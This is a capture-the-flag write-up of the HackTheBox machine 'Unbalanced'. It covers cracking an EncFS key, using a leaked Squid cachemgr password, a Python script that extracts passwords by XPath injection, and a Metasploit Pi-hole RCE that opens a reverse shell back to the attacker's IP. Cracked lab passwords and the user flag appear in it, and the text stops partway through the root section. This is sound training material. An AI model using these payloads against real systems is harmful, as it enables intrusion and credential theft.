HackTheBox - Unbalanced

14 minute read

Summary

Unbalanced
Difficulty: Hard
OS: Linux
Release date: 01-08-2020

Unbalanced was a hard Linux machine which involved decrypting an Encfs encrypted file system and Xpath injection to gain user access. Root access was achieved by using SSH port forwarding in combination with an RCE for Pi-hole.

Foothold

An Nmap scan revealed that this machine was running rsync (873) and an HTTP proxy called ‘Squid http proxy’ (3128).

mick@kali:~/Documents/HackTheBox/Unbalanced$ nmap -sV -sC -oN nmap_unbalanced 10.10.10.200
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-11 12:59 CEST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 12:59 (0:00:12 remaining)
Nmap scan report for 10.10.10.200
Host is up (0.023s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
|   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp  open  rsync      (protocol version 31)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

rsync was praticularly interesting at this point.

“Rsync is a fast and extraordinarily versatile file copying tool. It can copy locally, to/from another host over any remote shell, or to/from a remote rsync daemon.” - [https://linux.die.net/man/1/rsync]

Using this resource I managed to work with rsync and download files from the system.

mick@kali:~/Documents/HackTheBox$ rsync 10.10.10.200::
conf_backups   	EncFS-encrypted configuration backups
mick@kali:~/Documents/HackTheBox$ rsync 10.10.10.200::conf_backups   
    drwxr-xr-x          4,096 2020/04/04 17:05:32 .
    -rw-r--r--            288 2020/04/04 17:05:31 ,CBjPJW4EGlcqwZW4nmVqBA6
    -rw-r--r--            135 2020/04/04 17:05:31 -FjZ6-6,Fa,tMvlDsuVAO7ek
    -rw-r--r--          1,297 2020/04/02 15:06:19 .encfs6.xml
    -rw-r--r--            154 2020/04/04 17:05:32 0K72OfkNRRx3-f0Y6eQKwnjn
    -rw-r--r--             56 2020/04/04 17:05:32 27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
    -rw-r--r--            190 2020/04/04 17:05:32 2VyeljxHWrDX37La6FhUGIJS
    -rw-r--r--            386 2020/04/04 17:05:31 3E2fC7coj5,XQ8LbNXVX9hNFhsqCjD-g3b-7Pb5VJHx3C1
    -rw-r--r--            537 2020/04/04 17:05:31 3cdBkrRF7R5bYe1ZJ0KYy786
    -rw-r--r--            560 2020/04/04 17:05:31 3xB4vSQH-HKVcOMQIs02Qb9,
    -rw-r--r--            275 2020/04/04 17:05:32 4J8k09nLNFsb7S-JXkxQffpbCKeKFNJLk6NRQmI11FazC1
    -rw-r--r--            463 2020/04/04 17:05:32 5-6yZKVDjG4n-AMPD65LOpz6-kz,ae0p2VOWzCokOwxbt,
    -rw-r--r--          2,169 2020/04/04 17:05:31 5FTRnQDoLdRfOEPkrhM2L29P
    -rw-r--r--            238 2020/04/04 17:05:31 5IUA28wOw0wwBs8rP5xjkFSs
    -rw-r--r--          1,277 2020/04/04 17:05:31 6R1rXixtFRQ5c9ScY8MBQ1Rg
    -rw-r--r--            108 2020/04/04 17:05:31 7-dPsi7efZRoXkZ5oz1AxVd-Q,L05rofx0Mx8N2dQyUNA,
    -rw-r--r--          1,339 2020/04/04 17:05:32 7zivDbWdbySIQARaHlm3NbC-7dUYF-rpYHSQqLNuHTVVN1
    -rw-r--r--          1,050 2020/04/04 17:05:31 8CBL-MBKTDMgB6AT2nfWfq-e
    -rw-r--r--            152 2020/04/04 17:05:31 8XDA,IOhFFlhh120yl54Q0da
    -rw-r--r--             29 2020/04/04 17:05:31 8e6TAzw0xs2LVxgohuXHhWjM
    -rw-r--r--          5,721 2020/04/04 17:05:31 9F9Y,UITgMo5zsWaP1TwmOm8EvDCWwUZurrL0TwjR,Gxl0
    -rw-r--r--          2,980 2020/04/04 17:05:31 A4qOD1nvqe9JgKnslwk1sUzO
    -rw-r--r--            443 2020/04/04 17:05:31 Acv0PEQX8vs-KdK307QNHaiF
    -rw-r--r--            935 2020/04/04 17:05:31 B6J5M3OP0X7W25ITnaZX753T
    -rw-r--r--          1,521 2020/04/04 17:05:32 Chlsy5ahvpl5Q0o3hMyUIlNwJbiNG99DxXJeR5vXXFgHC1
    -rw-r--r--          2,359 2020/04/04 17:05:31 ECXONXBBRwhb5tYOIcjjFZzh
    -rw-r--r--          1,464 2020/04/04 17:05:32 F4F9opY2nhVVnRgiQ,OUs-Y0
    -rw-r--r--            354 2020/04/04 17:05:32 FGZsMmjhKz7CJ2r-OjxkdOfKdEip4Gx2vCDI24GXSF5eB1
    -rw-r--r--          3,275 2020/04/04 17:05:31 FSXWRSwW6vOvJ0ExPK0fXJ6F
    -rw-r--r--             95 2020/04/04 17:05:31 IymL3QugM,XxLuKEdwJJOOpi
    -rw-r--r--            340 2020/04/04 17:05:31 KPYfvxIoOlrRjTY18zi8Wne-
    -rw-r--r--            158 2020/04/04 17:05:32 Kb-,NDTgYevHOGdHCYsSQhhIHrUGjiM6i2JZcl,-PKAJm0
    -rw-r--r--            518 2020/04/04 17:05:31 Kpo3MHQxksW2uYX79XngQu-f
    -rw-r--r--          1,448 2020/04/04 17:05:31 KtFc,DR7HqmGdPOkM2CpLaM9
    -rw-r--r--            714 2020/04/04 17:05:31 Mv5TtpmUNnVl-fgqQeYAy8uu
    -rw-r--r--            289 2020/04/04 17:05:31 MxgjShAeN6AmkH2tQAsfaj6C
    -rw-r--r--          4,499 2020/04/04 17:05:31 Ni8LDatT134DF6hhQf5ESpo5
    -rw-r--r--          2,187 2020/04/04 17:05:31 Nlne5rpWkOxkPNC15SEeJ8g,
    -rw-r--r--            199 2020/04/04 17:05:32 OFG2vAoaW3Tvv1X2J5fy4UV8
    -rw-r--r--            914 2020/04/04 17:05:32 OvBqims-kvgGyJJqZ59IbGfy
    -rw-r--r--            427 2020/04/04 17:05:31 StlxkG05UY9zWNHBhXxukuP9
    -rw-r--r--             17 2020/04/04 17:05:31 TZGfSHeAM42o9TgjGUdOSdrd
    -rw-r--r--        316,561 2020/04/04 17:05:31 VQjGnKU1puKhF6pQG1aah6rc
    -rw-r--r--          2,049 2020/04/04 17:05:31 W5,ILrUB4dBVW-Jby5AUcGsz
    -rw-r--r--            685 2020/04/04 17:05:31 Wr0grx0GnkLFl8qT3L0CyTE6
    -rw-r--r--            798 2020/04/04 17:05:31 X93-uArUSTL,kiJpOeovWTaP
    -rw-r--r--          1,591 2020/04/04 17:05:31 Ya30M5le2NKbF6rD-qD3M-7t
    -rw-r--r--          1,897 2020/04/04 17:05:31 Yw0UEJYKN,Hjf-QGqo3WObHy
    -rw-r--r--            128 2020/04/04 17:05:31 Z8,hYzUjW0GnBk1JP,8ghCsC
    -rw-r--r--          2,989 2020/04/04 17:05:31 ZXUUpn9SCTerl0dinZQYwxrx
    -rw-r--r--             42 2020/04/04 17:05:31 ZvkMNEBKPRpOHbGoefPa737T
    -rw-r--r--          1,138 2020/04/04 17:05:31 a4zdmLrBYDC24s9Z59y-Pwa2
    -rw-r--r--          3,643 2020/04/04 17:05:31 c9w3APbCYWfWLsq7NFOdjQpA
    -rw-r--r--            332 2020/04/04 17:05:31 cwJnkiUiyfhynK2CvJT7rbUrS3AEJipP7zhItWiLcRVSA1
    -rw-r--r--          2,592 2020/04/04 17:05:31 dF2GU58wFl3x5R7aDE6QEnDj
    -rw-r--r--          1,268 2020/04/04 17:05:31 dNTEvgsjgG6lKBr8ev8Dw,p7
    -rw-r--r--            422 2020/04/04 17:05:31 gK5Z2BBMSh9iFyCFfIthbkQ6
    -rw-r--r--          2,359 2020/04/04 17:05:31 gRhKiGIEm4SvYkTCLlOQPeh-
    -rw-r--r--          1,996 2020/04/04 17:05:32 hqZXaSCJi-Jso02DJlwCtYoz
    -rw-r--r--          1,883 2020/04/04 17:05:32 iaDKfUAHJmdqTDVZsmCIS,Bn
    -rw-r--r--          4,572 2020/04/04 17:05:31 jIY9q65HMBxJqUW48LJIc,Fj
    -rw-r--r--          5,068 2020/04/04 17:05:31 kdJ5whfqyrkk6avAhlX-x0kh
    -rw-r--r--            657 2020/04/04 17:05:31 kheep9TIpbbdwNSfmNU1QNk-
    -rw-r--r--            612 2020/04/04 17:05:31 l,LY6YoFepcaLg67YoILNGg0
    -rw-r--r--             46 2020/04/04 17:05:31 lWiv4yDEUfliy,Znm17Al41zi0BbMtCbN8wK4gHc333mt,
    -rw-r--r--          1,636 2020/04/04 17:05:31 mMGincizgMjpsBjkhWq-Oy0D
    -rw-r--r--          1,743 2020/04/04 17:05:31 oPu0EVyHA6,KmoI1T,LTs83x
    -rw-r--r--             52 2020/04/04 17:05:31 pfTT,nZnCUFzyPPOeX9NwQVo
    -rw-r--r--          1,050 2020/04/04 17:05:31 pn6YPUx69xqxRXKqg5B5D2ON
    -rw-r--r--            650 2020/04/04 17:05:31 q5RFgoRK2Ttl3U5W8fjtyriX
    -rw-r--r--            660 2020/04/04 17:05:32 qeHNkZencKDjkr3R746ZzO5K
    -rw-r--r--          2,977 2020/04/04 17:05:32 sNiR-scp-DZrXHg4coa9KBmZ
    -rw-r--r--            820 2020/04/04 17:05:32 sfT89u8dsEY4n99lNsUFOwki
    -rw-r--r--            254 2020/04/04 17:05:31 uEtPZwC2tjaQELJmnNRTCLYU
    -rw-r--r--            203 2020/04/04 17:05:31 vCsXjR1qQmPO5g3P3kiFyO84
    -rw-r--r--            670 2020/04/04 17:05:32 waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5

I copied the entire folder to my system using rsync.

mick@kali:~/Documents/HackTheBox/Unbalanced$ mkdir rsync_enum
mick@kali:~/Documents/HackTheBox/Unbalanced$ rsync -r 10.10.10.200::conf_backups ./rsync_enum

As the folder description revealed, these files are encrypted using EncFs.

“EncFS is a Free (LGPL) FUSE-based cryptographic filesystem. It transparently encrypts files, using an arbitrary directory as storage for the encrypted files”. - [https://en.wikipedia.org/wiki/EncFS]

This means that a decryption key was required to view the contents of the files. One file in particular was interesting; ‘.encfs6.xml’ is the only unencrypted file.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE boost_serialization>
<boost_serialization signature="serialization::archive" version="7">
    <cfg class_id="0" tracking_level="0" version="20">
        <version>20100713</version>
        <creator>EncFS 1.9.5</creator>
        <cipherAlg class_id="1" tracking_level="0" version="0">
            <name>ssl/aes</name>
            <major>3</major>
            <minor>0</minor>
        </cipherAlg>
        <nameAlg>
            <name>nameio/block</name>
            <major>4</major>
            <minor>0</minor>
        </nameAlg>
        <keySize>192</keySize>
        <blockSize>1024</blockSize>
        <plainData>0</plainData>
        <uniqueIV>1</uniqueIV>
        <chainedNameIV>1</chainedNameIV>
        <externalIVChaining>0</externalIVChaining>
        <blockMACBytes>0</blockMACBytes>
        <blockMACRandBytes>0</blockMACRandBytes>
        <allowHoles>1</allowHoles>
        <encodedKeySize>44</encodedKeySize>
        <encodedKeyData>
GypYDeps2hrt2W0LcvQ94TKyOfUcIkhSAw3+iJLaLK0yntwAaBWj6EuIet0=
        </encodedKeyData>
        <saltLen>20</saltLen>
        <saltData>
            mRdqbk2WwLMrrZ1P6z2OQlFl8QU=
        </saltData>
        <kdfIterations>580280</kdfIterations>
        <desiredKDFDuration>500</desiredKDFDuration>
    </cfg>
</boost_serialization>

It contained a property called ‘encodedKeyData’. This is an encrypted encryption key in the encodedKeyData xml tag. Fortunately this key can be cracked with john.

mick@kali:~/Documents/HackTheBox/Unbalanced$ /usr/share/john/encfs2john.py rsync_enum >> encfsjohn
mick@kali:~/Documents/HackTheBox/Unbalanced$ john --wordlist=/usr/share/wordlists/rockyou.txt encfsjohn
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 580280 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bubblegum        (rsync_enum)
1g 0:00:00:09 DONE (2020-10-11 13:44) 0.1010g/s 74.34p/s 74.34c/s 74.34C/s bambam..raquel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

With the cracked password I successfully managed to decrypt the files.

mick@kali:~/Documents/HackTheBox/Unbalanced$ encfs /home/mick/Documents/HackTheBox/Unbalanced/rsync_enum /home/mick/Documents/HackTheBox/Unbalanced/rsync_enum_decrypted
The directory "/home/mick/Documents/HackTheBox/Unbalanced/rsync_enum_decrypted/" does not exist. Should it be created? (y,N) y
EncFS Password: bubblegum

This revealed the following files.

mick@kali:~/Documents/HackTheBox/Unbalanced/rsync_enum_decrypted$ ls -la
total 628
drwxr-xr-x 2 mick mick   4096 Oct 11 13:56 .
drwxr-xr-x 4 mick mick   4096 Oct 11 13:57 ..
-rw-r--r-- 1 mick mick    267 Oct 11 13:56 50-localauthority.conf
-rw-r--r-- 1 mick mick    455 Oct 11 13:56 50-nullbackend.conf
-rw-r--r-- 1 mick mick     48 Oct 11 13:56 51-debian-sudo.conf
-rw-r--r-- 1 mick mick    182 Oct 11 13:56 70debconf
-rw-r--r-- 1 mick mick   2351 Oct 11 13:56 99-sysctl.conf
-rw-r--r-- 1 mick mick   4564 Oct 11 13:56 access.conf
-rw-r--r-- 1 mick mick   2981 Oct 11 13:56 adduser.conf
-rw-r--r-- 1 mick mick   1456 Oct 11 13:56 bluetooth.conf
-rw-r--r-- 1 mick mick   5713 Oct 11 13:56 ca-certificates.conf
-rw-r--r-- 1 mick mick    662 Oct 11 13:56 com.ubuntu.SoftwareProperties.conf
-rw-r--r-- 1 mick mick    246 Oct 11 13:56 dconf
-rw-r--r-- 1 mick mick   2969 Oct 11 13:56 debconf.conf
-rw-r--r-- 1 mick mick    230 Oct 11 13:56 debian.conf
-rw-r--r-- 1 mick mick    604 Oct 11 13:56 deluser.conf
-rw-r--r-- 1 mick mick   1735 Oct 11 13:56 dhclient.conf
-rw-r--r-- 1 mick mick    346 Oct 11 13:56 discover-modprobe.conf
-rw-r--r-- 1 mick mick    127 Oct 11 13:56 dkms.conf
-rw-r--r-- 1 mick mick     21 Oct 11 13:56 dns.conf
-rw-r--r-- 1 mick mick    652 Oct 11 13:56 dnsmasq.conf
-rw-r--r-- 1 mick mick   1875 Oct 11 13:56 docker.conf
-rw-r--r-- 1 mick mick     38 Oct 11 13:56 fakeroot-x86_64-linux-gnu.conf
-rw-r--r-- 1 mick mick    906 Oct 11 13:56 framework.conf
-rw-r--r-- 1 mick mick    280 Oct 11 13:56 fuse.conf
-rw-r--r-- 1 mick mick   2584 Oct 11 13:56 gai.conf
-rw-r--r-- 1 mick mick   3635 Oct 11 13:56 group.conf
-rw-r--r-- 1 mick mick   5060 Oct 11 13:56 hdparm.conf
-rw-r--r-- 1 mick mick      9 Oct 11 13:56 host.conf
-rw-r--r-- 1 mick mick   1269 Oct 11 13:56 initramfs.conf
-rw-r--r-- 1 mick mick    927 Oct 11 13:56 input.conf
-rw-r--r-- 1 mick mick   1042 Oct 11 13:56 journald.conf
-rw-r--r-- 1 mick mick    144 Oct 11 13:56 kernel-img.conf
-rw-r--r-- 1 mick mick    332 Oct 11 13:56 ldap.conf
-rw-r--r-- 1 mick mick     34 Oct 11 13:56 ld.so.conf
-rw-r--r-- 1 mick mick    191 Oct 11 13:56 libaudit.conf
-rw-r--r-- 1 mick mick     44 Oct 11 13:56 libc.conf
-rw-r--r-- 1 mick mick   2161 Oct 11 13:56 limits.conf
-rw-r--r-- 1 mick mick    150 Oct 11 13:56 listchanges.conf
-rw-r--r-- 1 mick mick   1042 Oct 11 13:56 logind.conf
-rw-r--r-- 1 mick mick    435 Oct 11 13:56 logrotate.conf
-rw-r--r-- 1 mick mick   4491 Oct 11 13:56 main.conf
-rw-r--r-- 1 mick mick    812 Oct 11 13:56 mke2fs.conf
-rw-r--r-- 1 mick mick    195 Oct 11 13:56 modules.conf
-rw-r--r-- 1 mick mick   1440 Oct 11 13:56 namespace.conf
-rw-r--r-- 1 mick mick    120 Oct 11 13:56 network.conf
-rw-r--r-- 1 mick mick    529 Oct 11 13:56 networkd.conf
-rw-r--r-- 1 mick mick    510 Oct 11 13:56 nsswitch.conf
-rw-r--r-- 1 mick mick   1331 Oct 11 13:56 org.freedesktop.PackageKit.conf
-rw-r--r-- 1 mick mick    706 Oct 11 13:56 PackageKit.conf
-rw-r--r-- 1 mick mick    552 Oct 11 13:56 pam.conf
-rw-r--r-- 1 mick mick   2972 Oct 11 13:56 pam_env.conf
-rw-r--r-- 1 mick mick   1583 Oct 11 13:56 parser.conf
-rw-r--r-- 1 mick mick    324 Oct 11 13:56 protect-links.conf
-rw-r--r-- 1 mick mick   3267 Oct 11 13:56 reportbug.conf
-rw-r--r-- 1 mick mick     87 Oct 11 13:56 resolv.conf
-rw-r--r-- 1 mick mick    649 Oct 11 13:56 resolved.conf
-rw-r--r-- 1 mick mick    146 Oct 11 13:56 rsyncd.conf
-rw-r--r-- 1 mick mick   1988 Oct 11 13:56 rsyslog.conf
-rw-r--r-- 1 mick mick   2041 Oct 11 13:56 semanage.conf
-rw-r--r-- 1 mick mick    419 Oct 11 13:56 sepermit.conf
-rw-r--r-- 1 mick mick    790 Oct 11 13:56 sleep.conf
-rw-r--r-- 1 mick mick 316553 Oct 11 13:56 squid.conf
-rw-r--r-- 1 mick mick   2351 Oct 11 13:56 sysctl.conf
-rw-r--r-- 1 mick mick   1628 Oct 11 13:56 system.conf
-rw-r--r-- 1 mick mick   2179 Oct 11 13:56 time.conf
-rw-r--r-- 1 mick mick    677 Oct 11 13:56 timesyncd.conf
-rw-r--r-- 1 mick mick   1260 Oct 11 13:56 ucf.conf
-rw-r--r-- 1 mick mick    281 Oct 11 13:56 udev.conf
-rw-r--r-- 1 mick mick    378 Oct 11 13:56 update-initramfs.conf
-rw-r--r-- 1 mick mick   1130 Oct 11 13:56 user.conf
-rw-r--r-- 1 mick mick    414 Oct 11 13:56 user-dirs.conf
-rw-r--r-- 1 mick mick   1889 Oct 11 13:56 Vendor.conf
-rw-r--r-- 1 mick mick   1513 Oct 11 13:56 wpa_supplicant.conf
-rw-r--r-- 1 mick mick    100 Oct 11 13:56 x86_64-linux-gnu.conf
-rw-r--r-- 1 mick mick    642 Oct 11 13:56 xattr.conf

A file that immediately caught my attention was ‘squid.conf’ since I know from the Nmap scan that this machine ran a Squid proxy. This file contained a lot of comments and empty lines, so I decided to sanitize the file first.

mick@kali:~/Documents/HackTheBox/Unbalanced/rsync_enum_decrypted$ cat squid.conf | grep -v "#" >> ~/Documents/HackTheBox/Unbalanced/stripped_squid_conf
mick@kali:~/Documents/HackTheBox/Unbalanced$ sed -i '/^$/d' stripped_squid_conf
mick@kali:~/Documents/HackTheBox/Unbalanced$ cat stripped_squid_conf
acl SSL_ports port 443
acl CONNECT method CONNECT
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow manager
include /etc/squid/conf.d/*
http_access allow localhost
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|\?) 0	0%	0
refresh_pattern .		0	20%	4320
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
cache disable

This looked like a password for cache_mgr. After some research I discovered that I can use cachemgr with that password to perform all the actions in that line. To do this I installed Squidclient and used this resource to perform several commands. After some enumeration I found that fqdncache contained interesting information about services hosted on the system.

mick@kali:~/Documents/HackTheBox/Unbalanced$ squidclient -w 'Thah$Sh1' -h 10.10.10.200 mgr:fqdncache
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Sun, 11 Oct 2020 15:15:18 GMT
Content-Type: text/plain;charset=utf-8
Expires: Sun, 11 Oct 2020 15:15:18 GMT
Last-Modified: Sun, 11 Oct 2020 15:15:18 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close

FQDN Cache Statistics:
FQDNcache Entries In Use: 14
FQDNcache Entries Cached: 13
FQDNcache Requests: 315135
FQDNcache Hits: 0
FQDNcache Negative Hits: 171349
FQDNcache Misses: 143786
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames
127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
127.0.0.1                                       H -001   1 localhost
10.10.14.109                                   N  -13193   0
172.17.0.1                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters
10.10.14.196                                   N  -12849   0
10.10.15.6                                     N  -23290   0
10.10.14.241                                   N  -25169   0
10.10.15.203                                   N  -1978   0

The listing above showed me that there were multiple intranet services running. To connect to these services and see what was running there, I had to connect to the Squid proxy first.

unbalanced_proxy.png

Navigating to, for example, intranet-host2 revealed the following page.

unbalanced_intranet.png

After countless injection attmepts and enumeration I noticed that the server was running intranet-host2 and intranet-host3 on 172.31.179.2 and 172.31.179.2 respectively. For some reason intranet-host1 was missing. Navigating to 172.31.179.1 returned the following page.

unbalanced_intranet1.png

The page states that it is currently down, but after adding /intranet.php to the IP address it turned out that it was still up.

unbalanced_intranet1_up.png

While fiddling around with the input fields, I noticed that this page (opposed to the other intranet pages) gave back an “Invalid credentials” error when trying to log in.

unbalanced_invalid_creds.png

After some time I found out that this page did not involve regular SQL injection, but XPath injection.

“XPath (XML Path Language) is a query language for selecting nodes from an XML document”. - [https://en.wikipedia.org/wiki/XPath]

To make the injection process easier, I configured Burp to use the Squid proxy server for all requests.

unbalanced_burp.png

Some initial enumeration revealed that I was able to get a list of employees from the system.

unbalanced_injection.png

What followed was a long process with complex payloads to figure out the id’s of the employees, the length of the passwords and ultimately brute forcing the passwords. To automate this I wrote a Python script for this.

import requests
url = "http://172.31.179.1/intranet.php"
proxies = {
	"http": "http://10.10.10.200:3128"
}
chars = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
nums = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
special_chars = ["@", "!", "$", "-", "_", "#", "<", ">", "/", "\\", "*", ".", ",", "+", "?", "A", "B", "C", "D", "E", "F", "G", "H", "I","J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
print("[+] Sending requests to " + url)
print("[+] Using proxy " + proxies.get("http"))

print("[+] Determining user id's")
ids = []
for i in range(1, 5):
	print("Trying id " + str(i))
	for char in chars:
		payload = {"Username": f"' or substring((//Username)[{i}],1,1)='{char}' or ''='", "Password": "ertert"}
		response = requests.post(url=url, data=payload, proxies=proxies)
		if str(response.content).find("Invalid credentials") == -1:
			print("Found id: " + str(i) + " by trying \"" + char + "\"")
			ids.append(i)
			break

pw_lengths = []
print("[+] Determining password length for id's: " + str(ids))
for id in ids:
	for i in range(25):
		payload = {"Username": f"' or string-length((//Password)[{id}])={i} or ''='", "Password": "ertert"}
		response = requests.post(url=url, data=payload, proxies=proxies)
		if str(response.content).find("Invalid credentials") == -1:
			print(f"Password length for {id}: {i}")
			pw_lengths.append(i)
			break


print("[+] Determining password for id's: " + str(ids))
candidate = ""
for id in ids:
	for i in range(25):
		for char in (chars + nums + special_chars):
			payload = {"Username": f"' or substring((//Password)[{id}],1,{i})='{candidate + char}' or ''='", "Password": "ertert"}
			response = requests.post(url=url, data=payload, proxies=proxies)
			if str(response.content).find("Invalid credentials") == -1:
				candidate += char
				break
	print(f"Found password for {id}: {candidate}")
	candidate = ""

This script gave the following result:

mick@kali:~/Documents/HackTheBox/Unbalanced$ python3 xpath_discovery.py
[+] Sending requests to http://172.31.179.1/intranet.php
[+] Using proxy http://10.10.10.200:3128
[+] Determining user id's
Trying id 1
Found id: 1 by trying "r"
Trying id 2
Found id: 2 by trying "j"
Trying id 3
Found id: 3 by trying "b"
Trying id 4
Found id: 4 by trying "s"
[+] Determining password length for id's: [1, 2, 3, 4]
Password length for 1: 11
Password length for 2: 16
Password length for 3: 23
Password length for 4: 10
[+] Determining password for id's: [1, 2, 3, 4]
Found password for 1: password01!
Found password for 2: stairwaytoheaven
Found password for 3: ireallyl0vebubblegum!!!
Found password for 4: sarah4evah

The only password that worked through SSH was the password ‘ireallyl0vebubblegum!!!’ for the user bryan. This gave me foothold, and with that also user access to the system.

mick@kali:~/Documents/HackTheBox$ ssh [email protected]
[email protected]'s password: ireallyl0vebubblegum!!!
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 17 14:16:06 2020 from 10.10.10.4
bryan@unbalanced:~$ ls
TODO  user.txt
bryan@unbalanced:~$ cat user.txt
f77c6e747188f31145414e685b3362ab

Root access

Bryan’s home folder contained a filed called ‘TODO’. This file mentions a Pi-hole running on the system.

bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

I found out that Pi-hole was running on port 8080.

bryan@unbalanced:~$ ss -lnt
State       Recv-Q      Send-Q           Local Address:Port           Peer Address:Port      
LISTEN      0           5                      0.0.0.0:873                 0.0.0.0:*         
LISTEN      0           128                  127.0.0.1:8080                0.0.0.0:*         
LISTEN      0           128                  127.0.0.1:5553                0.0.0.0:*         
LISTEN      0           32                     0.0.0.0:53                  0.0.0.0:*         
LISTEN      0           128                    0.0.0.0:22                  0.0.0.0:*         
LISTEN      0           5                         [::]:873                    [::]:*         
LISTEN      0           32                        [::]:53                     [::]:*         
LISTEN      0           128                       [::]:22                     [::]:*         
LISTEN      0           128                          *:3128                      *:* 

To access this this Pi-hole I used local ssh port forwarding. By doing this I used SSH to tunnel all traffic through the remote machine.

mick@kali:~/Documents/HackTheBox/Unbalanced$ ssh -L 35356:127.0.0.1:8080 [email protected]
[email protected]'s password: 
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Nov  5 11:13:17 2020 from 10.10.14.5
bryan@unbalanced:~$ 

I was then able to access the webpage because the connection is being forwarded through the machine using SSH. Logging into the Pi-hole was easy, since the username and password were both ‘admin’.

unbalanced_pihole.png

After some research and figuring out version numbers I stumbled upon a RCE for Pi-hole, offered by Metasploit (which I also used to exploit this vulnerability).

msf6 exploit(unix/http/pihole_dhcp_mac_exec) > set PASSWORD admin
PASSWORD => admin
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > set RPORT 35356
RPORT => 1337
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > set LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 exploit(unix/http/pihole_dhcp_mac_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.5:4444 
[*] Using cookie: PHPSESSID=rt4kgspitomluft71sun8ll5f4;
[*] Using token: htkBtz0OFWzTHQbOVSEp2kbPHFAdqeNaaBO8Zc4dZ78=
[+] System env path exploitable: /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[*] Payload MAC will be: 26E3382E4163
[*] Sending Exploit
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.200:50050) at 2020-11-06 10:10:01 +0100
[*] Attempting to clean 259C8527CE83 from config
[*] Attempting to clean 26E3382E4163 from config
whoami
www-data

I was then authenticated as the www-data user. Looking through the /root folder, however, provided me with credentials for root access.

$ cd /root
$ ls
ph_install.sh
pihole_config.sh
$ cat pihole_config.sh
#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
